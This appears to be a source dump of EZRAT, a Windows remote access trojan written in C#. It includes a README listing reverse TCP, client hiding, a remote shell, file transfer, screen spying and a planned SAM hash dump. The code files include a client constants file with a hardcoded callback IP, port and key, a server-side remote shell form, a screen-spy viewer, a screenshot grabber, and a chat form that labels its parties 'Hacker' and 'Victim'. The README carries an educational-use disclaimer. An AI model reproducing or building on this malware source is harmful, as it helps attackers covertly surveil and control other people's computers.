17 | // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly
18 | // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de
19 | // COM, affectez la valeur true à l'attribut ComVisible sur ce type.
20 | [assembly: ComVisible(false)]
21 |
22 | // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM
23 | [assembly: Guid("2a079f4e-4dcc-44db-8ca1-0cf2c6a5f41d")]
24 |
25 | // Les informations de version pour un assembly se composent des quatre valeurs suivantes :
26 | //
27 | // Version principale
28 | // Version secondaire
29 | // Numéro de build
30 | // Révision
31 | //
32 | // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
33 | // en utilisant '*', comme indiqué ci-dessous :
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("0.1.6.1")]
36 | [assembly: AssemblyFileVersion("0.1.6.1")]
37 |
--------------------------------------------------------------------------------
/EZRATServer/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // Les informations générales relatives à un assembly dépendent de
6 | // l'ensemble d'attributs suivant. Changez les valeurs de ces attributs pour modifier les informations
7 | // associées à un assembly.
8 | [assembly: AssemblyTitle("EZRATServer")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("EZRATServer")]
13 | [assembly: AssemblyCopyright("Copyright © 2019")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // L'affectation de la valeur false à ComVisible rend les types invisibles dans cet assembly
18 | // aux composants COM. Si vous devez accéder à un type dans cet assembly à partir de
19 | // COM, affectez la valeur true à l'attribut ComVisible sur ce type.
20 | [assembly: ComVisible(false)]
21 |
22 | // Le GUID suivant est pour l'ID de la typelib si ce projet est exposé à COM
23 | [assembly: Guid("de5ba971-0c24-456f-a747-9178f0dd6aa4")]
24 |
25 | // Les informations de version pour un assembly se composent des quatre valeurs suivantes :
26 | //
27 | // Version principale
28 | // Version secondaire
29 | // Numéro de build
30 | // Révision
31 | //
32 | // Vous pouvez spécifier toutes les valeurs ou indiquer les numéros de build et de révision par défaut
33 | // en utilisant '*', comme indiqué ci-dessous :
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("0.1.6.1")]
36 | [assembly: AssemblyFileVersion("0.1.6.1")]
37 |
--------------------------------------------------------------------------------
/EZRATClient/Utils/Constantes.cs:
--------------------------------------------------------------------------------
1 | using System.Drawing;
2 | using System.Threading;
3 |
4 | namespace EZRATClient.Utils
5 | {
6 | public static class Constantes
7 | {
8 | private const int _SW_HIDE = 0;
9 | private const int _SW_SHOW = 5;
10 |
11 |
12 | private static string _ip = "192.168.1.112";
13 | private static int _port = 1234;
14 | private static int _screenShotSpeed = 100;
15 | private static string _version = "0.1.6.1";
16 | private static string _encryptKey = "POULPE212123542345235";
17 | private static Size _defaultCompressionSize = new Size(1280, 720);
18 | private static string _separator = "|";
19 | private static string _special_Separator = "¦";
20 | private static Thread _spy;
21 |
22 | public static string Separator { get => _separator; }
23 | public static char SeparatorChar { get => _separator.ToCharArray()[0]; }
24 | public static string Special_Separator { get => _special_Separator; }
25 | public static char Special_SeparatorChar { get => _special_Separator.ToCharArray()[0]; }
26 |
27 | public static string Ip { get => _ip; set => _ip = value; }
28 | public static int Port { get => _port; set => _port = value; }
29 | public static string Version { get => _version; }
30 | public static int SW_HIDE => _SW_HIDE;
31 | public static int SW_SHOW => _SW_SHOW;
32 | public static string EncryptKey { get => _encryptKey; }
33 | public static Thread Spy { get => _spy; set => _spy = value; }
34 | public static int ScreenShotSpeed { get => _screenShotSpeed; set => _screenShotSpeed = value; }
35 | public static Size DefaultCompressionSize { get => _defaultCompressionSize; set => _defaultCompressionSize = value; }
36 | }
37 | }
38 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/ProcessViewer.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using System.Windows.Forms;
10 |
11 | namespace EZRATServer.Forms
12 | {
13 | public partial class ProcessViewer : Form
14 | {
15 |
16 | private Server _baseWindows;
17 |
18 | public Server BaseWindows
19 | {
20 | get { return _baseWindows; }
21 | set { _baseWindows = value; }
22 | }
23 |
24 | private int _id;
25 |
26 | public int Id
27 | {
28 | get { return _id; }
29 | set { _id = value; }
30 | }
31 |
32 | const string STATUS_TEXT = "Number of process : ";
33 | public ProcessViewer(Server parent,int id)
34 | {
35 | this.BaseWindows = parent;
36 | this.Id = id;
37 | InitializeComponent();
38 |
39 | }
40 |
41 |
42 | public void UpdateData(string[] data)
43 | {
44 | for (int i = 0; i < data.Length - 1; i++)
45 | {
46 | string pid = data[i].Substring(data[i].LastIndexOf('¦') + 1);
47 | string name = data[i].Substring(0,data[i].LastIndexOf('¦'));
48 | this.lstProcess.Invoke(new MethodInvoker(() => { this.lstProcess.Items.Add(new ListViewItem(new string[] { name, pid })); }));
49 | }
50 | this.lblStatus.Text = STATUS_TEXT + data.Length;
51 | this.lstProcess.Invoke(new MethodInvoker(() => this.lstProcess.AutoResizeColumns(ColumnHeaderAutoResizeStyle.ColumnContent)));
52 |
53 | this.lstProcess.Invoke(new MethodInvoker(() => this.lstProcess.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)));
54 | }
55 | }
56 | }
57 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/ScreenShotViewer.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.Drawing;
4 | using System.Threading;
5 | using System.Windows.Forms;
6 | using EZRATServer.Utils;
7 |
8 | namespace EZRATServer.Forms
9 | {
10 | public partial class ScreenShotViewer : Form
11 | {
12 | private Image _img;
13 | private Stopwatch sw = new Stopwatch();
14 | private bool _isUpdate = true;
15 | private uint _count = 0;
16 | private Server _parent;
17 | public Image Img
18 | {
19 | get => _img;
20 |
21 | set
22 | {
23 | try
24 | {
25 | this._img = value;
26 | this.pib.Invoke(new MethodInvoker(() => { this.pib.Image = Img; this.pib.Update(); }));
27 | _count += 1;
28 | this.StatusUpdate();
29 | }
30 | catch (Exception _)
31 | {
32 | // Windows close
33 | }
34 | }
35 | }
36 |
37 |
38 | public ScreenShotViewer(Image img, Server parent)
39 | {
40 | InitializeComponent();
41 | this._parent = parent;
42 | sw.Start();
43 | this.pib.Image = img;
44 | this.FormClosing += (_, __) => { this._parent.SendCommand("stopscreenspy;", this._parent.GetIdClient());this._parent.OnOffscreenSpy = false; };
45 | }
46 |
47 | private void StatusUpdate()
48 | {
49 | if (sw.ElapsedMilliseconds >= 1000)
50 | {
51 | sw.Restart();
52 | this.lblStatus.Text = $"FPS : {_count}";
53 | _count = 0;
54 | }
55 | }
56 |
57 | public void UpdatePib(Image img)
58 | {
59 | Thread T = new Thread(() =>
60 | {
61 | this.pib.Invoke(new MethodInvoker(() => { this.pib.Image = this.Img; }));
62 | this.pib.Update();
63 | });
64 | T.Start();
65 | T.Join();
66 | }
67 | }
68 | }
69 |
--------------------------------------------------------------------------------
/EZRATClient/Utils/Screen.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Drawing;
4 | using System.Drawing.Drawing2D;
5 | using System.Linq;
6 | using System.Text;
7 | using System.Windows.Forms;
8 |
9 | namespace EZRATClient.Utils
10 | {
11 | class ScreenUtils
12 | {
13 |
14 | public static Image ScreenShot()
15 | {
16 | Rectangle bounds = Screen.GetBounds(Point.Empty);
17 | Image result = new Bitmap(bounds.Width,bounds.Height);
18 |
19 | using (Graphics g = Graphics.FromImage(result))
20 | {
21 | g.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size);
22 | }
23 |
24 | return resizeImage(result,Constantes.DefaultCompressionSize);
25 | }
26 |
27 |
28 | public static Image resizeImage(Image imgToResize, Size size)
29 | {
30 | int sourceWidth = imgToResize.Width;
31 | int sourceHeight = imgToResize.Height;
32 |
33 | float nPercent = 0;
34 | float nPercentW = 0;
35 | float nPercentH = 0;
36 |
37 | nPercentW = ((float)size.Width / (float)sourceWidth);
38 | nPercentH = ((float)size.Height / (float)sourceHeight);
39 |
40 | if (nPercentH < nPercentW)
41 | nPercent = nPercentH;
42 | else
43 | nPercent = nPercentW;
44 |
45 | int destWidth = (int)(sourceWidth * nPercent);
46 | int destHeight = (int)(sourceHeight * nPercent);
47 |
48 | Bitmap b = new Bitmap(destWidth, destHeight, System.Drawing.Imaging.PixelFormat.Format24bppRgb);
49 | b.SetResolution(300, 300);
50 | Graphics g = Graphics.FromImage((Image)b);
51 | g.InterpolationMode = InterpolationMode.HighQualityBicubic;
52 | g.CompositingQuality = CompositingQuality.HighSpeed;
53 | g.SmoothingMode = SmoothingMode.HighSpeed;
54 |
55 | g.DrawImage(imgToResize, 0, 0, destWidth, destHeight);
56 | g.Dispose();
57 |
58 | return (Image)b;
59 |
60 | }
61 |
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/EZRAT.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.29324.140
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EZRATClient", "EZRATClient\EZRATClient.csproj", "{2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "EZRATServer", "EZRATServer\EZRATServer.csproj", "{DE5BA971-0C24-456F-A747-9178F0DD6AA4}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Debug|x86 = Debug|x86
14 | Release|Any CPU = Release|Any CPU
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
19 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Debug|Any CPU.Build.0 = Debug|Any CPU
20 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Debug|x86.ActiveCfg = Debug|x86
21 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Debug|x86.Build.0 = Debug|x86
22 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Release|Any CPU.ActiveCfg = Release|Any CPU
23 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Release|Any CPU.Build.0 = Release|Any CPU
24 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Release|x86.ActiveCfg = Release|x86
25 | {2A079F4E-4DCC-44DB-8CA1-0CF2C6A5F41D}.Release|x86.Build.0 = Release|x86
26 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
27 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Debug|Any CPU.Build.0 = Debug|Any CPU
28 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Debug|x86.ActiveCfg = Debug|x86
29 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Debug|x86.Build.0 = Debug|x86
30 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Release|Any CPU.ActiveCfg = Release|Any CPU
31 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Release|Any CPU.Build.0 = Release|Any CPU
32 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Release|x86.ActiveCfg = Release|x86
33 | {DE5BA971-0C24-456F-A747-9178F0DD6AA4}.Release|x86.Build.0 = Release|x86
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {BA605CD2-83BE-4BB7-B5F5-899A4AA2FB58}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # EZRAT
2 |
3 | Is a simple R.A.T client server for Windows
4 |
5 | [](https://google.com)
6 | [](https://google.com)
7 | [](https://google.com)
8 | [](https://google.com)
9 | [](https://google.com)
10 | [](https://google.com)
11 |
12 |
13 |
14 | This tool is for educational purpose only, usage of EZRAT for attacking targets without prior mutual consent is illegal. Developers assume no liability and are not responsible for any misuse or damage cause by this program.
15 |
16 | ## RAT
17 |
18 | 
19 |
20 |
21 | ## Installation :
22 | For install client and server you must download source and compile then. Project build with Visual Studio 2019.
23 |
24 | Release v0.1.6.1 is full of bugs but it work some times ;P
25 |
26 | ## Requirement :
27 | You need :
28 |
29 | * Visual Studio 2019 (with msbuild)
30 | * Framework >= 4.0
31 | * Use the csproj for generate the client
32 |
33 | ## Features :
34 | - [x] Client Reverse TCP
35 | - [x] Client Hiding
36 | - [x] MultiClient
37 | - [x] Get informations from client
38 | - [x] PerrToPeer connection
39 | - [x] File browsing client
40 | - [x] Disconnect server correctly
41 | - [x] Download file
42 | - [x] Process viewer
43 | - [x] ScreenShot
44 | - [x] ScreenSpy with FPS counter (~ average 2-3 FPS)
45 | - [x] File viewer with size of file
46 | - [x] System info in details
47 | - [x] Shell
48 | - [x] Windows control (Lock,Restart,Shutdown)
49 | - [x] Message box editor
50 | - [x] Upload file
51 | - [x] Sound play (only wav files)
52 | - [x] Client builder (with msbuild)
53 |
54 | ## Futur Features :
55 | - [ ] Startup
56 | - [ ] Kill process
57 | - [ ] Open CD tray
58 | - [ ] Change Wallpaper
59 | - [ ] Camera stream
60 | - [ ] Disable keyboard & mouse
61 | - [ ] Remote desktop
62 | - [ ] Hash dump, dump SAM database
63 |
64 |
65 | ## ScreenShot :
66 | 
67 |
68 | Server program with 1 client connected
69 |
70 |
71 | ## Author :
72 | @Exo-poulpe
73 |
74 | This software come whitout any guarantee
75 |
76 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/ShellCommand.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Windows.Forms;
9 |
10 | namespace EZRATServer.Forms
11 | {
12 | public partial class ShellCommand : Form
13 | {
14 |
15 | private Server _baseWindows;
16 |
17 | public Server BaseWindows
18 | {
19 | get { return _baseWindows; }
20 | set { _baseWindows = value; }
21 | }
22 |
23 | private string _path;
24 |
25 | public string Path
26 | {
27 | get { return _path; }
28 | set { _path = value; }
29 | }
30 |
31 | private int _id;
32 |
33 | public int Id
34 | {
35 | get { return _id; }
36 | set { _id = value; }
37 | }
38 |
39 |
40 |
41 | public ShellCommand(Server parent, string path, int id)
42 | {
43 | this.BaseWindows = parent;
44 | this.Path = path;
45 | InitializeComponent();
46 | this.AddHeaderLine(path);
47 | this.tbxMessage.KeyDown += SendCmbCommand;
48 | }
49 |
50 |
51 |
52 | private void SendCmbCommand(object sender, KeyEventArgs e)
53 | {
54 | if (e.KeyCode == Keys.Enter)
55 | {
56 | this.AddCommandLine(this.tbxMessage.Text);
57 | }
58 | }
59 |
60 |
61 |
62 | private void AddHeaderLine(string path)
63 | {
64 | this.rtbText.Text += $"{path} > ";
65 | }
66 |
67 | private void AddCommandLine(string command)
68 | {
69 | if (command.StartsWith("cd "))
70 | {
71 | string tmp = command.Substring(3);
72 | if (tmp == "..")
73 | {
74 | this.Path = this.Path.Substring(0, this.Path.LastIndexOf('\\') - 1);
75 | }
76 | else
77 | {
78 | this.Path += tmp;
79 | }
80 | }
81 | this.BaseWindows.SendCommand("cmd;" + this.Path + ";" + command, this.Id);
82 | this.rtbText.Text += command + Environment.NewLine;
83 | this.tbxMessage.Clear();
84 | this.tbxMessage.Focus();
85 | }
86 |
87 | public void AddResultLine(string result)
88 | {
89 | this.tbxMessage.Invoke(new MethodInvoker(() =>
90 | {
91 | this.rtbText.Text += result + Environment.NewLine; this.AddHeaderLine(this.Path);
92 | this.rtbText.SelectionStart = this.rtbText.Text.Length;
93 | this.rtbText.ScrollToCaret();
94 | }));
95 | }
96 | }
97 | }
98 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/SystemDetails.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace EZRATServer.Forms
2 | {
3 | partial class SystemDetails
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(SystemDetails));
32 | this.lstInfos = new System.Windows.Forms.ListBox();
33 | this.SuspendLayout();
34 | //
35 | // lstInfos
36 | //
37 | this.lstInfos.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
38 | | System.Windows.Forms.AnchorStyles.Left)
39 | | System.Windows.Forms.AnchorStyles.Right)));
40 | this.lstInfos.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
41 | this.lstInfos.FormattingEnabled = true;
42 | this.lstInfos.ItemHeight = 20;
43 | this.lstInfos.Location = new System.Drawing.Point(-2, 2);
44 | this.lstInfos.Name = "lstInfos";
45 | this.lstInfos.Size = new System.Drawing.Size(385, 224);
46 | this.lstInfos.TabIndex = 0;
47 | //
48 | // SystemDetails
49 | //
50 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
51 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
52 | this.ClientSize = new System.Drawing.Size(381, 225);
53 | this.Controls.Add(this.lstInfos);
54 | this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
55 | this.MaximizeBox = false;
56 | this.Name = "SystemDetails";
57 | this.Text = "SystemDetails";
58 | this.ResumeLayout(false);
59 |
60 | }
61 |
62 | #endregion
63 |
64 | private System.Windows.Forms.ListBox lstInfos;
65 | }
66 | }
--------------------------------------------------------------------------------
/EZRATClient/Forms/Chat.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.ComponentModel;
4 | using System.Data;
5 | using System.Drawing;
6 | using System.Linq;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using System.Windows.Forms;
10 |
11 | namespace EZRATClient.Forms
12 | {
13 | public partial class Chat : Form
14 | {
15 |
16 | private List _texted = new List();
17 |
18 | public List Texted
19 | {
20 | get { return _texted; }
21 | set { _texted = value; }
22 | }
23 |
24 | private string _serverName;
25 |
26 | public string ServerName
27 | {
28 | get { return _serverName + " : "; }
29 | set { _serverName = value; }
30 | }
31 |
32 | private string _victimName;
33 |
34 | public string VictimName
35 | {
36 | get { return _victimName + " : "; }
37 | set { _victimName = value; }
38 | }
39 |
40 |
41 |
42 |
43 |
44 | public Chat(string message = "")
45 | {
46 | InitializeComponent();
47 | this.btnSend.Click += SendMessage;
48 | this.FormClosing += CancelClosed;
49 | this.Text = "Chat";
50 | this.ServerName = "Hacker";
51 | this.VictimName = "Victim";
52 | if (message != "")
53 | {
54 | this.Texted.Add(this.ServerName + message);
55 | this.rtbMsg.Text += this.ServerName + message + Environment.NewLine;
56 | }
57 | }
58 |
59 | private void CancelClosed(object sender,FormClosingEventArgs e)
60 | {
61 | e.Cancel = true;
62 | }
63 |
64 | private void SendMessage(object sender,EventArgs e)
65 | {
66 | string msg = string.Empty;
67 | this.tbxMsg.Invoke(new MethodInvoker(() => msg = this.tbxMsg.Text));
68 | this.tbxMsg.Invoke(new MethodInvoker(() => this.tbxMsg.Text = string.Empty));
69 | this.Texted.Add(this.VictimName + msg);
70 | Program.SendCommand("chat;" + msg);
71 | AddMessage(msg,1);
72 |
73 | }
74 |
75 |
76 | public void NewMessage(string message)
77 | {
78 | if (message == "") return;
79 | this.Texted.Add(this.ServerName + message);
80 | AddMessage(message, 0);
81 | }
82 |
83 |
84 | private void AddMessage(string message,int user)
85 | {
86 | if (this.rtbMsg.InvokeRequired)
87 | {
88 | this.rtbMsg.Invoke(new MethodInvoker(() => this.rtbMsg.Text += ((user == 0) ? this.ServerName : this.VictimName) + message + Environment.NewLine));
89 | }
90 | else
91 | {
92 | this.rtbMsg.Text += ((user == 0) ? this.ServerName : this.VictimName) + message + Environment.NewLine;
93 | }
94 | }
95 | }
96 | }
97 |
--------------------------------------------------------------------------------
/EZRATServer/Utils/ImageContextMenu.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.Drawing;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using System.Windows.Forms;
8 |
9 | namespace EZRATServer.Utils
10 | {
11 | class ImageContextMenu : ContextMenuStrip
12 | {
13 | public ImageContextMenu()
14 | {
15 | ToolStripMenuItem menuFileBrowser = new ToolStripMenuItem("File Browser",new Bitmap(Properties.Resources.folder_64));
16 | ToolStripMenuItem menuChat = new ToolStripMenuItem("Chat",new Bitmap(Properties.Resources.chat_64));
17 | ToolStripMenuItem menuProcess = new ToolStripMenuItem("Process Viewer",new Bitmap(Properties.Resources.process_64));
18 | ToolStripMenuItem menuScreenShot = new ToolStripMenuItem("ScreenShot",new Bitmap(Properties.Resources.screenShot_100));
19 | ToolStripMenuItem menuMessageBox = new ToolStripMenuItem("MessageBox",new Bitmap(Properties.Resources.Form_64));
20 | ToolStripMenuItem menuScreenSPy = new ToolStripMenuItem("ScreenSpy",new Bitmap(Properties.Resources.screenshot_64));
21 | ToolStripMenuItem menuSysInfo = new ToolStripMenuItem("System Info",new Bitmap(Properties.Resources.computer_settings_64));
22 | ToolStripMenuItem menuSound = new ToolStripMenuItem("Play Sound",new Bitmap(Properties.Resources.sound));
23 | ToolStripMenuItem menuShell = new ToolStripMenuItem("Shell",new Bitmap(Properties.Resources.shell_48));
24 | ToolStripMenuItem menuClient = new ToolStripMenuItem("ClientControl",new Bitmap(Properties.Resources.clientControl_64));
25 | menuClient.DropDownItems.Add(new ToolStripMenuItem("Close",Properties.Resources.close_64));
26 | ToolStripMenuItem menuExecute = new ToolStripMenuItem("Execute", new Bitmap(Properties.Resources.UAC));
27 | menuExecute.DropDownItems.Add(new ToolStripMenuItem("Lock",Properties.Resources.locked));
28 | menuExecute.DropDownItems.Add(new ToolStripMenuItem("Restart",Properties.Resources.restart));
29 | menuExecute.DropDownItems.Add(new ToolStripMenuItem("Shutdown",Properties.Resources.shutdown));
30 | //ToolStripMenuItem menuMonitoring = new ToolStripMenuItem("ScreenShot",new Bitmap(Properties.Resources.monitor_64));
31 | this.CreateControl();
32 | this.Items.Add(menuFileBrowser);
33 | this.Items.Add(menuChat);
34 | this.Items.Add(menuProcess);
35 | this.Items.Add(menuScreenShot);
36 | this.Items.Add(menuScreenSPy);
37 | this.Items.Add(menuMessageBox);
38 | this.Items.Add(menuSysInfo);
39 | this.Items.Add(menuSound);
40 | this.Items.Add(menuShell);
41 | this.Items.Add(menuClient);
42 | this.Items.Add(menuExecute);
43 | //this.Items.Add(menuMonitoring);
44 | }
45 |
46 | private void InitializeComponent()
47 | {
48 | this.SuspendLayout();
49 |
50 | }
51 | }
52 | }
53 |
--------------------------------------------------------------------------------
/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // Ce code a été généré par un outil.
4 | // Version du runtime :4.0.30319.42000
5 | //
6 | // Les modifications apportées à ce fichier peuvent provoquer un comportement incorrect et seront perdues si
7 | // le code est régénéré.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 | namespace EZRAT.Properties
12 | {
13 |
14 |
15 | ///
16 | /// Une classe de ressource fortement typée destinée, entre autres, à la consultation des chaînes localisées.
17 | ///
18 | // Cette classe a été générée automatiquement par la classe StronglyTypedResourceBuilder
19 | // à l'aide d'un outil, tel que ResGen ou Visual Studio.
20 | // Pour ajouter ou supprimer un membre, modifiez votre fichier .ResX, puis réexécutez ResGen
21 | // avec l'option /str ou régénérez votre projet VS.
22 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
23 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
24 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
25 | internal class Resources
26 | {
27 |
28 | private static global::System.Resources.ResourceManager resourceMan;
29 |
30 | private static global::System.Globalization.CultureInfo resourceCulture;
31 |
32 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
33 | internal Resources()
34 | {
35 | }
36 |
37 | ///
38 | /// Retourne l'instance ResourceManager mise en cache utilisée par cette classe.
39 | ///
40 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
41 | internal static global::System.Resources.ResourceManager ResourceManager
42 | {
43 | get
44 | {
45 | if ((resourceMan == null))
46 | {
47 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("EZRAT.Properties.Resources", typeof(Resources).Assembly);
48 | resourceMan = temp;
49 | }
50 | return resourceMan;
51 | }
52 | }
53 |
54 | ///
55 | /// Remplace la propriété CurrentUICulture du thread actuel pour toutes
56 | /// les recherches de ressources à l'aide de cette classe de ressource fortement typée.
57 | ///
58 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
59 | internal static global::System.Globalization.CultureInfo Culture
60 | {
61 | get
62 | {
63 | return resourceCulture;
64 | }
65 | set
66 | {
67 | resourceCulture = value;
68 | }
69 | }
70 | }
71 | }
72 |
--------------------------------------------------------------------------------
/EZRATServer/Forms/NameUpload.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace EZRATServer.Forms
2 | {
3 | partial class NameUpload
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.lblName = new System.Windows.Forms.Label();
32 | this.tbxName = new System.Windows.Forms.TextBox();
33 | this.btnOk = new System.Windows.Forms.Button();
34 | this.SuspendLayout();
35 | //
36 | // lblName
37 | //
38 | this.lblName.AutoSize = true;
39 | this.lblName.Location = new System.Drawing.Point(12, 18);
40 | this.lblName.Name = "lblName";
41 | this.lblName.Size = new System.Drawing.Size(44, 13);
42 | this.lblName.TabIndex = 0;
43 | this.lblName.Text = "Name :";
44 | //
45 | // tbxName
46 | //
47 | this.tbxName.Location = new System.Drawing.Point(50, 34);
48 | this.tbxName.Name = "tbxName";
49 | this.tbxName.Size = new System.Drawing.Size(159, 20);
50 | this.tbxName.TabIndex = 1;
51 | //
52 | // btnOk
53 | //
54 | this.btnOk.Location = new System.Drawing.Point(81, 58);
55 | this.btnOk.Name = "btnOk";
56 | this.btnOk.Size = new System.Drawing.Size(75, 23);
57 | this.btnOk.TabIndex = 2;
58 | this.btnOk.Text = "OK";
59 | this.btnOk.UseVisualStyleBackColor = true;
60 | //
61 | // NameUpload
62 | //
63 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
64 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
65 | this.ClientSize = new System.Drawing.Size(231, 93);
66 | this.Controls.Add(this.btnOk);
67 | this.Controls.Add(this.tbxName);
68 | this.Controls.Add(this.lblName);
69 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
70 | this.Name = "NameUpload";
71 | this.Text = "NameUpload";
72 | this.ResumeLayout(false);
73 | this.PerformLayout();
74 |
75 | }
76 |
77 | #endregion
78 |
79 | private System.Windows.Forms.Label lblName;
80 | private System.Windows.Forms.TextBox tbxName;
81 | private System.Windows.Forms.Button btnOk;
82 | }
83 | }
--------------------------------------------------------------------------------
/EZRAT.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {EE60B0D1-7432-45A8-B250-D2455BBF4E6C}
8 | WinExe
9 | EZRAT
10 | EZRAT
11 | v4.5
12 | 512
13 | true
14 |
15 |
16 | AnyCPU
17 | true
18 | full
19 | false
20 | bin\Debug\
21 | DEBUG;TRACE
22 | prompt
23 | 4
24 |
25 |
26 | AnyCPU
27 | pdbonly
28 | true
29 | bin\Release\
30 | TRACE
31 | prompt
32 | 4
33 |
34 |
35 |
36 |
37 |
38 |
